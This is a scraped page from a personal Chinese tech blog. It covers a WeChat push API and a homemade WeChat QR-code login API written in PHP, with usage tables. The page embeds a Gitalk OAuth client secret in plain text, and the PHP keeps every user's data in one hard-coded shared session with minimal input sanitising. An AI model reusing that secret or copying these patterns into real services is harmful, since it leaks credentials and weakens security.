<a href="#使用文档"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 使用文档
</h1>
<table>
<thead>
<tr>
<th>参数</th>
<th>是否必填</th>
<th>请求方法</th>
<th>内容</th>
</tr>
</thead>
<tbody>
<tr>
<td>userid</td>
<td></td>
<td>GET</td>
<td>用户的OPENID</td>
</tr>
<tr>
<td>type</td>
<td></td>
<td>GET</td>
<td>html/md/空</td>
</tr>
<tr>
<td>title</td>
<td></td>
<td>GET/POST</td>
<td>标题</td>
</tr>
<tr>
<td>summary</td>
<td></td>
<td>GET/POST</td>
<td>摘要(不填默认为内容)</td>
</tr>
<tr>
<td>content</td>
<td></td>
<td>GET/POST</td>
<td>内容</td>
</tr>
</tbody>
</table>
<h1 id="后续的改进">
<a href="#后续的改进"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 后续的改进
</h1>
<p>我目前用的公众号的所有人希望整一个像WxPusher的平台我大概看了一下那个东西果然还是个垃圾要推送必须用那个平台特有的API包括开源的那些乱七八糟的SDK也全部都是为那个所谓推送平台设计的另外模板的选择也是真的没什么品味体验实在是一般。所以目前似乎还没有一个像样的开源的微信推送平台那接下来就让我试试看吧我看看到底是为什么没有人愿意制作一个开源的微信推送平台吧</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E4%BF%A1"><em>微信</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%8E%A8%E9%80%81"><em>推送</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-03-23-wxpush.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/03/23/wxpush.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/03/02/workers.html">
上一篇使用CloudFlare Workers做一些有趣的功能
</a>
</span>
<br />
<span class="next">
<a href="/2021/04/05/try3.html">
下一篇Mayx的产品测评
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/03/23/wxpush', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/03/23/wxpush.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

267
2021/04/05/try3.html Normal file

File diff suppressed because one or more lines are too long

427
2021/04/09/weauth.html Normal file
View File

@@ -0,0 +1,427 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>自制微信二维码登录API | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="自制微信二维码登录API" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="二维码登录看来也不是什么复杂的东西嘛" />
<meta property="og:description" content="二维码登录看来也不是什么复杂的东西嘛" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-04-09T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="自制微信二维码登录API" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-04-09T00:00:00+08:00","datePublished":"2021-04-09T00:00:00+08:00","description":"二维码登录看来也不是什么复杂的东西嘛","headline":"自制微信二维码登录API","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/04/09/weauth.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/04/09/weauth.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/04/09/weauth.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-04-09T00:00:00+08:00">9 April 2021</time> - 字数统计3260 - 阅读大约需要11分钟 - Hits: <span id="/2021/04/09/weauth.html" class="visitors">Loading...</span></small>
<h1 class="p-name">自制微信二维码登录API</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 09 Apr 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要介绍了制作微信二维码登录API的过程作者希望通过模块化的方式简化服务允许开发者通过扫描二维码获取用户的唯一标识OpenID。API涉及设置和获取OpenID的功能通过POST请求创建二维码以及验证用户的扫码事件以获取或验证OpenID。开发者需先存储OpenID使用随机的key命名且建议使用UUID。作者强调代码可能存在安全漏洞期待安全专家的意见进行改进。此外API还可以用于网站扫码绑定登录和推送消息。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#代码">代码</a></li><li><a href="#使用文档">使用文档</a><ul><li><a href="#接口调用方法">接口调用方法</a></li><li><a href="#说明">说明</a></li><li><a href="#使用示例">使用示例</a></li><li><a href="#注意事项">注意事项</a></li></ul></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>二维码登录看来也不是什么复杂的东西嘛<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前段时间我用了一位大佬的认证公众号做了一个<a href="/2021/03/23/wxpush.html">微信推送</a>的API并且希望把它做成像WxPusher那样的平台。但是吧……我想了想现在微服务不是比较火嘛WxPusher那种的实在是太臃肿了而且还是用Java写的那就更加垃圾了所以我决定把功能模块化让每一个功能都可以单独运行互不影响。 </p><p>
而今天我要做的就是允许A用户开发者使用微信扫描二维码的方式去获取B用户客户的用户ID。当然这种功能的话肯定还是用PHP完成的啦所以代码如下</p>
<h1 id="代码">
<a href="#代码"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 代码
</h1>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$appid</span><span class="o">=</span><span class="s1">'公众号APPID'</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="s1">'公众号Secret'</span><span class="p">;</span>
<span class="nv">$token</span><span class="o">=</span><span class="s1">'和配置的Token配置一致即可'</span><span class="p">;</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'session.gc_maxlifetime'</span><span class="p">,</span> <span class="mi">7200</span><span class="p">);</span>
<span class="nb">session_id</span><span class="p">(</span><span class="s1">'Storagepush'</span><span class="p">);</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'ip_list'</span><span class="p">]){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid='</span><span class="mf">.</span><span class="nv">$appid</span><span class="mf">.</span><span class="s1">'&amp;secret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'access_token'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"action"</span><span class="p">])</span><span class="o">&amp;&amp;</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">])){</span>
<span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">]</span><span class="o">=</span><span class="nb">addslashes</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">])</span><span class="o">&lt;</span><span class="mi">6</span><span class="o">||</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">])</span><span class="o">&gt;</span><span class="mi">32</span><span class="p">){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"Bad Key"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"action"</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"set"</span><span class="p">){</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/qrcode/create?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"Content-Type: application/json;charset=utf-8"</span><span class="p">,</span><span class="s1">'content'</span><span class="o">=&gt;</span><span class="s1">'{"expire_seconds": 3600, "action_name": "QR_STR_SCENE", "action_info": {"scene": {"scene_str": "auth'</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">]</span><span class="mf">.</span><span class="s1">'"}}}'</span><span class="p">))));</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"action"</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"get"</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'wxboxauth'</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">]])){</span>
<span class="k">echo</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'wxboxauth'</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"key"</span><span class="p">]];</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Empty"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$timestamp</span><span class="o">=</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"timestamp"</span><span class="p">];</span>
<span class="nv">$nonce</span><span class="o">=</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"nonce"</span><span class="p">];</span>
<span class="nv">$tmpArr</span><span class="o">=</span><span class="k">array</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span> <span class="nv">$timestamp</span><span class="p">,</span> <span class="nv">$nonce</span><span class="p">);</span>
<span class="nb">sort</span><span class="p">(</span><span class="nv">$tmpArr</span><span class="p">,</span> <span class="no">SORT_STRING</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span> <span class="nb">sha1</span><span class="p">(</span><span class="nb">implode</span><span class="p">(</span><span class="nv">$tmpArr</span><span class="p">))</span> <span class="o">==</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"signature"</span><span class="p">]</span> <span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">]){</span>
<span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">];</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="c1">// 加载XML内容</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">);</span>
<span class="nv">$p</span> <span class="o">=</span> <span class="nb">xml_parser_create</span><span class="p">();</span>
<span class="nb">xml_parse_into_struct</span><span class="p">(</span><span class="nv">$p</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$vals</span><span class="p">,</span> <span class="nv">$index</span><span class="p">);</span>
<span class="nb">xml_parser_free</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
<span class="k">if</span><span class="p">((</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"subscribe"</span> <span class="o">||</span> <span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"SCAN"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENTKEY'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">])){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"subscribe"</span><span class="p">){</span>
<span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENTKEY'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENTKEY'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">],</span><span class="mi">8</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'wxbox'</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'EVENTKEY'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]]</span> <span class="o">=</span> <span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">];</span>
<span class="k">echo</span> <span class="s1">'&lt;xml&gt;
&lt;ToUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/ToUserName&gt;
&lt;FromUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'TOUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/FromUserName&gt;
&lt;CreateTime&gt;'</span><span class="mf">.</span><span class="nb">time</span><span class="p">()</span><span class="mf">.</span><span class="s1">'&lt;/CreateTime&gt;
&lt;MsgType&gt;&lt;![CDATA[text]]&gt;&lt;/MsgType&gt;
&lt;Content&gt;&lt;![CDATA[成功请求登录!]]&gt;&lt;/Content&gt;
&lt;/xml&gt;'</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"success"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Fail"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h1 id="使用文档">
<a href="#使用文档"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 使用文档
</h1>
<h2 id="接口调用方法">
<a href="#接口调用方法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 接口调用方法
</h2>
<table>
<thead>
<tr>
<th>参数</th>
<th>是否必填</th>
<th>请求方法</th>
<th>内容</th>
</tr>
</thead>
<tbody>
<tr>
<td>action</td>
<td></td>
<td>GET</td>
<td>set/get</td>
</tr>
<tr>
<td>key</td>
<td></td>
<td>GET</td>
<td>6-32字节长度的随机字符串</td>
</tr>
</tbody>
</table>
<h2 id="说明">
<a href="#说明"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 说明
</h2>
<p>开发者需要先使用set方法设置一个存储用户OPENID的盒子使用key来命名为了避免重复这里推荐使用32位的UUID作为名称请求完成之后会获得一个有效时长为1小时的二维码的ticket和二维码的地址可以如果希望自己生成二维码可以使用返回的URL作为二维码的内容或者也可以调用微信的Ticket转二维码接口<code class="language-plaintext highlighter-rouge">https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=</code>后面加上获得的Ticket就可以直接获得二维码的图片。 </p><p>
获取OPENID需要使用get方法去获得命名为key的盒子如果用户已经扫描了二维码那么调用此接口会直接返回扫描者的OPENID如果没有扫描或者用户扫描后超过了2个小时就会返回Empty以表示盒子为空。</p>
<h2 id="使用示例">
